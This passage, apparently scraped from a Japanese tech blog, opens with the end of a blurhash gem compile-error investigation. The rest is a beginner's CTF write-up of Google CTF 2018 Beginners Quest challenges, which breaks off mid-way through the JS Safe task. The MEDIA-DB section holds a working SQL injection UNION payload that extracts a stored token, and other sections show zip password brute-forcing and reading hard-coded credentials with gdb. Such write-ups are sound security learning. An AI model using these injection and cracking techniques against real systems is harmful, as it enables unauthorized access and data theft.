class=\"s1\"\u003e\u0026#39;blurHashForPixels\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:28:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ey\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e y \u0026lt; yComponents\u003cspan class=\"p\"\u003e;\u003c/span\u003e y++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:28:2: note: use option -std\u003cspan class=\"o\"\u003e=\u003c/span\u003ec99 or -std\u003cspan class=\"o\"\u003e=\u003c/span\u003egnu99 to compile your code\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:29:3: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e x \u0026lt; xComponents\u003cspan class=\"p\"\u003e;\u003c/span\u003e x++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:48:3: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; acCount * 3\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:62:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; acCount\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c: In \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;multiplyBasisFunction\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:75:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ey\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e y \u0026lt; height\u003cspan class=\"p\"\u003e;\u003c/span\u003e y++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:76:3: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e x \u0026lt; width\u003cspan class=\"p\"\u003e;\u003c/span\u003e x++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c: In \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;encode_int\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:129:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length - 1\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e divisor *\u003cspan class=\"o\"\u003e=\u003c/span\u003e 83\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:131:10: error: redefinition of \u003cspan class=\"s1\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:129:10: note: previous definition of \u003cspan class=\"s1\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e was here\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length - 1\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e divisor *\u003cspan class=\"o\"\u003e=\u003c/span\u003e 83\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:131:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake: *** \u003cspan class=\"o\"\u003e[\u003c/span\u003eencode.o\u003cspan class=\"o\"\u003e]\u003c/span\u003e Error \u003cspan class=\"m\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGem files will remain installed in /usr/local/share/gems/gems/blurhash-0.1.2 \u003cspan class=\"k\"\u003efor\u003c/span\u003e inspection.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eResults logged to /usr/local/share/gems/gems/blurhash-0.1.2/ext/blurhash/gem_make.out\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"原因\"\u003e原因\u003c/h2\u003e\n\u003cp\u003e再現時のエラーにある通り、for文内で\u003ccode\u003eint i\u003c/code\u003eと宣言しているため。これはC99から導入された仕様であり、コンパイル時に\u003ccode\u003e-std=c99\u003c/code\u003eを指定する必要がある。\u003c/p\u003e","title":"blurhash v0.1.2 コンパイルエラー調査"},{"content":"この記事はCTF Advent Calendar 2018 19日目の記事です。18日目はmage_1868さんのMortAl mage aGEnts write-upでした。\nCTFビギナーなのでGoogle CTF 2018 Beginners Questを解いており、Diaryで書いているWriteupsをまとめます。全て解き終わらなかったので残りは解け次第追記します。\n解くにあたり使ったツールも書こうとしてたんですが、長文になるため別機会で。コメントがあればTwitterもしくはMastodonまでお願いします。\nMisc LETTER PDFファイルが1つ与えられる。Viewerによる検索でフラグを得る。\nOCR IS COOL! Gmailのメール本文がキャプチャされたPNGファイルが1つ与えられる。\n文面からROT Nと考えられ、本文中のVMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk}を復号する。フラグはCTF{...}の形式であるため、ROT 7であると分かる。\n復号にはCyberChefを用いた。\nSECURITY BY OBSCURITY ファイルが1つ与えられる。file commandによりzipだと分かるため展開する。\nある程度展開すると他の拡張子に変化するためコマンドを変えてまた展開する、ということをzip, xz, bz2, gzと行っていくと、最後にパスワード付きのzipが現れる。\nbrute forceでパスワードを確認し、展開してフラグを得る。ここではfcrackdiscを用いた。\n展開スクリプト import os import filetype import zipfile import subprocess import gzip filepath = \u0026#39;password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p\u0026#39; while True: extension = filetype.guess(filepath).extension print(\u0026#39;%s: %s\u0026#39; % (extension, filepath)) if extension == \u0026#39;zip\u0026#39;: with zipfile.ZipFile(filepath) as f: f.extractall() elif extension == \u0026#39;xz\u0026#39;: subprocess.call([\u0026#39;7z\u0026#39;, \u0026#39;e\u0026#39;, filepath]) elif extension == \u0026#39;bz2\u0026#39;: subprocess.call([\u0026#39;bzip2\u0026#39;, \u0026#39;-d\u0026#39;, filepath]) os.rename(filepath + \u0026#39;.out\u0026#39;, \u0026#39;.\u0026#39;.join(filepath.split(\u0026#39;.\u0026#39;)[0:-1])) elif extension == \u0026#39;gz\u0026#39;: with gzip.open(filepath) as f: with open(\u0026#39;.\u0026#39;.join(filepath.split(\u0026#39;.\u0026#39;)[0:-1]), \u0026#39;wb\u0026#39;) as nf: nf.write(f.read()) filepath = \u0026#39;.\u0026#39;.join(filepath.split(\u0026#39;.\u0026#39;)[0:-1]) brute force $ fcrackzip -l 4 -u -b password.x PASSWORD FOUND!!!!: pw == asdf $ unzip password.x Archive: password.x [password.x] password.txt password: extracting: password.txt $ cat password.txt CTF{DUMMY_FLAG} FLOPPY $ file foo.ico foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors ico fileが与えられる。画像自体に気になる点は無いため、バイナリエディタで内容を確認。\nデータ後半にzipを示すマジックナンバーPKが存在しdriver.txt等のzipらしい文字列も続くため、PK以下全データを新規ファイルとして保存しunzip。\n$ unzip foo.zip Archive: foo.zip inflating: driver.txt inflating: www.com driver.txtの内容がフラグとなる。\nFLOPPY2 自力で解けなかったためGoogle CTF: Beginner Quest: FLOPPY2 (Debugging DOS Programs)を参考にした。\nFLOPPYにてフラグが書かれていたファイルにIn case of emergency, run www.comと書かれており、runから分かるようにこのファイルは実行可能。(ここが分からなかった)\n$ cat driver.txt This is the driver for the Aluminum-Key Hardware password storage device. CTF{DUMMY} In case of emergency, run www.com COMファイル1はMS-DOSで実行可能であり、ここではDOSBox2を用いてエミュレートする。Debian系であればaptでインストールできる。\n後述のデバッグのためDOSBoxのdebugger3もインストールする。\n適当なディレクトリにwww.comと、debuggerに入っているDEBUG.COMを入れる。以下、このディレクトリをworkdirと呼ぶ。\ndosboxを起動し、mount c ./workdirでworkdirをC:にマウント。c:でマウント先に移動する。\nDEBUG.COM WWW.COMで、WWW.COMをデバッガで起動。デバッガにてgでWWW.COMを実行し、dで実行結果をダンプ。フラグを得る。\n余談 www.comはテキスト内に制御文字が含まれているため、そのまま実行してもフラグが表示されない。4\nデバッガを使わずとも出力結果をファイルに保存し、テキストエディタやバイナリエディタで開いてもフラグを得ることができる。\nMEDIA-DB sqlite3を操作するpythonスクリプトが与えられる。\nスクリプト起動時にoauth_tokens tableのoauth_token columnへフラグが登録される。\nwith open(\u0026#39;oauth_token\u0026#39;) as fd: flag = fd.read() conn = sqlite3.connect(\u0026#39;:memory:\u0026#39;) c = conn.cursor() c.execute(\u0026#34;CREATE TABLE oauth_tokens (oauth_token text)\u0026#34;) c.execute(\u0026#34;CREATE TABLE media (artist text, song text)\u0026#34;) c.execute(\u0026#34;INSERT INTO oauth_tokens VALUES (\u0026#39;{}\u0026#39;)\u0026#34;.format(flag)) その後いくつかの機能が実行可能だが、insert機能でシングルクオートのエスケープを行なっていない。\nif choice == \u0026#39;1\u0026#39;: my_print(\u0026#34;artist name?\u0026#34;) artist = raw_input().replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#34;\u0026#34;) my_print(\u0026#34;song name?\u0026#34;) song = raw_input().replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#34;\u0026#34;) c.execute(\u0026#34;\u0026#34;\u0026#34;INSERT INTO media VALUES (\u0026#34;{}\u0026#34;, \u0026#34;{}\u0026#34;)\u0026#34;\u0026#34;\u0026#34;.format(artist, song)) そしてmedia tableからランダムなartistを取り出し、結果をそのままwhereに利用する機能が存在する。\nelif choice == \u0026#39;4\u0026#39;: artist = random.choice(list(c.execute(\u0026#34;SELECT DISTINCT artist FROM media\u0026#34;)))[0] my_print(\u0026#34;choosing songs from random artist: {}\u0026#34;.format(artist)) print_playlist(\u0026#34;SELECT artist, song FROM media WHERE artist = \u0026#39;{}\u0026#39;\u0026#34;.format(artist)) よってoauth_tokenの値が取得可能な文字列をartist名としてinsert後、ランダム機能によりその文字列を利用することでフラグを得られる。\n% nc media-db.ctfcompetition.com 1337 === Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit \u0026gt; 1 artist name? 1\u0026#39; OR \u0026#39;1\u0026#39; = \u0026#39;1\u0026#39; UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- song name? a 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit \u0026gt; 4 choosing songs from random artist: 1\u0026#39; OR \u0026#39;1\u0026#39; = \u0026#39;1\u0026#39; UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- == new playlist == 1: \u0026#34;a\u0026#34; by \u0026#34;1\u0026#39; OR \u0026#39;1\u0026#39; = \u0026#39;1\u0026#39; UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- \u0026#34; 2: \u0026#34;CTF{DUMMY_FLAG} \u0026#34; by \u0026#34;CTF{DUMMY_FLAG} \u0026#34; Reversing FIRMWARE ext4 filesystem dataが与えられる。mount後.mediapc_backdoor_password.gzを発見。明らかに怪しいため中身を確認したところフラグを得た。\nこのファイルはtestdiskによるチェック時に発見した。\n$ mkdir /mnt/challenge $ mount challenge.ext4 /mnt/challenge $ ls -la /mnt/challenge total 40 drwxr-xr-x. 22 root root 1024 Jun 22 09:54 . drwxr-xr-x. 3 root root 23 Nov 11 04:56 .. -rw-r--r--. 1 root root 40 Jun 22 09:54 .mediapc_backdoor_password.gz drwxr-xr-x. 2 root root 3072 Jun 22 09:54 bin drwxr-xr-x. 2 root root 1024 Jun 22 09:54 boot drwxr-xr-x. 4 root root 1024 Jun 22 09:54 dev drwxr-xr-x. 52 root root 4096 Jun 22 09:54 etc drwxr-xr-x. 2 root root 1024 Jun 22 09:54 home drwxr-xr-x. 12 root root 1024 Jun 22 09:54 lib drwxr-xr-x. 2 root root 1024 Jun 22 09:54 lib64 drwx------. 2 root root 12288 Jun 22 09:51 lost+found drwxr-xr-x. 2 root root 1024 Jun 22 09:54 media drwxr-xr-x. 2 root root 1024 Jun 22 09:54 mnt drwxr-xr-x. 2 root root 1024 Jun 22 09:54 opt drwxr-xr-x. 2 root root 1024 Jun 22 09:54 proc drwx------. 2 root root 1024 Jun 22 09:54 root drwxr-xr-x. 4 root root 1024 Jun 22 09:54 run drwxr-xr-x. 2 root root 3072 Jun 22 09:54 sbin drwxr-xr-x. 2 root root 1024 Jun 22 09:54 srv drwxr-xr-x. 2 root root 1024 Jun 22 09:54 sys drwxr-xr-x. 2 root root 1024 Jun 22 09:54 tmp drwxr-xr-x. 10 root root 1024 Jun 22 09:54 usr drwxr-xr-x. 9 root root 1024 Jun 22 09:54 var $ gzip -d /mnt/challenge/.mediapc_backdoor_password.gz $ cat /mnt/challenge/.mediapc_backdoor_password CTF{DUMMY_FLAG} GATEKEEPER usernameとpasswordを要求するELFファイルが与えられる。\n$ ./gatekeeper /===========================================================================\\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ [ERROR] Login information missing Usage: ./gatekeeper \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; gdb-pedaでstrcmp実行個所のRSIを確認。\n1回目は0n3_W4rM。これがusernameになるため第一引数に設定して再実行\n[----------------------------------registers-----------------------------------] RAX: 0x7fffffffe7f8 --\u0026gt; 0x4242004141414141 (\u0026#39;AAAAA\u0026#39;) RBX: 0x0 RCX: 0xb48 (\u0026#39;H\\x0b\u0026#39;) RDX: 0x2e (\u0026#39;.\u0026#39;) RSI: 0x555555554de0 (\u0026#34;0n3_W4rM\u0026#34;) RDI: 0x7fffffffe7f8 --\u0026gt; 0x4242004141414141 (\u0026#39;AAAAA\u0026#39;) RBP: 0x7fffffffe490 --\u0026gt; 0x0 RSP: 0x7fffffffe3e0 --\u0026gt; 0x7fffffffe578 --\u0026gt; 0x7fffffffe7d0 (\u0026#34;/media/sf_VirtualBoxCentOS/./gatekeeper\u0026#34;) RIP: 0x555555554a46 (\u0026lt;main+143\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x2e (\u0026#39;.\u0026#39;) R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740) R10: 0x7fffffffde20 --\u0026gt; 0x0 R11: 0x246 R12: 0x5555555547c0 (\u0026lt;_start\u0026gt;: xor ebp,ebp) R13: 0x7fffffffe570 --\u0026gt; 0x3 R14: 0x0 R15: 0x0 EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554a39 \u0026lt;main+130\u0026gt;: mov rax,QWORD PTR [rax] 0x555555554a3c \u0026lt;main+133\u0026gt;: lea rsi,[rip+0x39d] # 0x555555554de0 0x555555554a43 \u0026lt;main+140\u0026gt;: mov rdi,rax =\u0026gt; 0x555555554a46 \u0026lt;main+143\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt; 0x555555554a4b \u0026lt;main+148\u0026gt;: test eax,eax 0x555555554a4d \u0026lt;main+150\u0026gt;: je 0x555555554a7b \u0026lt;main+196\u0026gt; 0x555555554a4f \u0026lt;main+152\u0026gt;: mov edi,0xa 0x555555554a54 \u0026lt;main+157\u0026gt;: call 0x555555554710 \u0026lt;putchar@plt\u0026gt; Guessed arguments: arg[0]: 0x7fffffffe7f8 --\u0026gt; 0x4242004141414141 (\u0026#39;AAAAA\u0026#39;) arg[1]: 0x555555554de0 (\u0026#34;0n3_W4rM\u0026#34;) 2回目はzLl1ks_d4m_T0g_I。これを第二引数に設定して再実行。\n[----------------------------------registers-----------------------------------] RAX: 0x555555757010 --\u0026gt; 0x4242424242 (\u0026#39;BBBBB\u0026#39;) RBX: 0x0 RCX: 0xb48 (\u0026#39;H\\x0b\u0026#39;) RDX: 0x2e (\u0026#39;.\u0026#39;) RSI: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) RDI: 0x555555757010 --\u0026gt; 0x4242424242 (\u0026#39;BBBBB\u0026#39;) RBP: 0x7fffffffe480 --\u0026gt; 0x0 RSP: 0x7fffffffe3d0 --\u0026gt; 0x7fffffffe568 --\u0026gt; 0x7fffffffe7cd (\u0026#34;/media/sf_VirtualBoxCentOS/./gatekeeper\u0026#34;) RIP: 0x555555554b57 (\u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x2e (\u0026#39;.\u0026#39;) R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740) R10: 0x7fffffffde20 --\u0026gt; 0x0 R11: 0x246 R12: 0x5555555547c0 (\u0026lt;_start\u0026gt;: xor ebp,ebp) R13: 0x7fffffffe560 --\u0026gt; 0x3 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554b49 \u0026lt;main+402\u0026gt;: mov rax,QWORD PTR [rbp-0x10] 0x555555554b4d \u0026lt;main+406\u0026gt;: lea rsi,[rip+0x2ad] # 0x555555554e01 0x555555554b54 \u0026lt;main+413\u0026gt;: mov rdi,rax =\u0026gt; 0x555555554b57 \u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt; 0x555555554b5c \u0026lt;main+421\u0026gt;: test eax,eax 0x555555554b5e \u0026lt;main+423\u0026gt;: jne 0x555555554bba \u0026lt;main+515\u0026gt; 0x555555554b60 \u0026lt;main+425\u0026gt;: lea rdi,[rip+0x2ab] # 0x555555554e12 0x555555554b67 \u0026lt;main+432\u0026gt;: call 0x5555555548ca \u0026lt;text_animation\u0026gt; Guessed arguments: arg[0]: 0x555555757010 --\u0026gt; 0x4242424242 (\u0026#39;BBBBB\u0026#39;) arg[1]: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) 2回目のstrcmp。RDIには第2引数が入っているはずだが、zLl1ks_d4m_T0g_IからI_g0T_m4d_sk1lLzに変わっている。挙動や結果から反転されて比較されていることが分かるため、I_g0T_m4d_sk1lLzに設定して再実行。\n[----------------------------------registers-----------------------------------] RAX: 0x555555757010 (\u0026#34;I_g0T_m4d_sk1lLz\u0026#34;) RBX: 0x0 RCX: 0xb48 (\u0026#39;H\\x0b\u0026#39;) RDX: 0x2e (\u0026#39;.\u0026#39;) RSI: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) RDI: 0x555555757010 (\u0026#34;I_g0T_m4d_sk1lLz\u0026#34;) RBP: 0x7fffffffe480 --\u0026gt; 0x0 RSP: 0x7fffffffe3d0 --\u0026gt; 0x7fffffffe568 --\u0026gt; 0x7fffffffe7c2 (\u0026#34;/media/sf_VirtualBoxCentOS/./gatekeeper\u0026#34;) RIP: 0x555555554b57 (\u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x2e (\u0026#39;.\u0026#39;) R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740) R10: 0x7fffffffde20 --\u0026gt; 0x0 R11: 0x246 R12: 0x5555555547c0 (\u0026lt;_start\u0026gt;: xor ebp,ebp) R13: 0x7fffffffe560 --\u0026gt; 0x3 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554b49 \u0026lt;main+402\u0026gt;: mov rax,QWORD PTR [rbp-0x10] 0x555555554b4d \u0026lt;main+406\u0026gt;: lea rsi,[rip+0x2ad] # 0x555555554e01 0x555555554b54 \u0026lt;main+413\u0026gt;: mov rdi,rax =\u0026gt; 0x555555554b57 \u0026lt;main+416\u0026gt;: call 0x555555554770 \u0026lt;strcmp@plt\u0026gt; 0x555555554b5c \u0026lt;main+421\u0026gt;: test eax,eax 0x555555554b5e \u0026lt;main+423\u0026gt;: jne 0x555555554bba \u0026lt;main+515\u0026gt; 0x555555554b60 \u0026lt;main+425\u0026gt;: lea rdi,[rip+0x2ab] # 0x555555554e12 0x555555554b67 \u0026lt;main+432\u0026gt;: call 0x5555555548ca \u0026lt;text_animation\u0026gt; Guessed arguments: arg[0]: 0x555555757010 (\u0026#34;I_g0T_m4d_sk1lLz\u0026#34;) arg[1]: 0x555555554e01 (\u0026#34;zLl1ks_d4m_T0g_I\u0026#34;) I_g0T_m4d_sk1lLzがpasswordであり、フラグを得る。\n$ ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz /===========================================================================\\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ ~\u0026gt; Verifying.......Correct! Welcome back! CTF{DUMMY_FLAG} Web JS SAFE 自力で解けなかったためHacking Livestream #57: Google CTF 2018 Beginners QuestとCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner\u0026rsquo;s Quest - JS Safe 1.0 / Writeupを参考にした。\nAttachmentとしてjs_safe_1.htmlが用意されており、ブラウザで開くとテキストボックスが表示される。適当な文字列を入力するとAccess Deniedと表示される。\n\u0026lt;script\u0026gt; const alg = { name: \u0026#39;AES-CBC\u0026#39;, iv: Uint8Array.from([211,42,178,197,55,212,108,85,255,21,132,210,209,137,37,24])}; const secret = Uint8Array.from([26,151,171,117,143,168,228,24,197,212,192,15,242,175,113,59,102,57,120,172,50,64,201,73,39,92,100,64,172,223,46,189,65,120,223,15,34,96,132,7,53,63,227,157,15,37,126,106]); async function open_safe() { keyhole.disabled = true; /* keyholeは表示されているテキストボックス */ password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value); if (!password || !(await x(password[1]))) return document.body.className = \u0026#39;denied\u0026#39;; document.body.className = \u0026#39;granted\u0026#39;; const pwHash = await crypto.subtle.digest(\u0026#39;SHA-256\u0026#39;, new TextEncoder().encode(password[1])); const key = await crypto.subtle.importKey(\u0026#39;raw\u0026#39;, pwHash, alg, false, [\u0026#39;decrypt\u0026#39;]); content.value = new 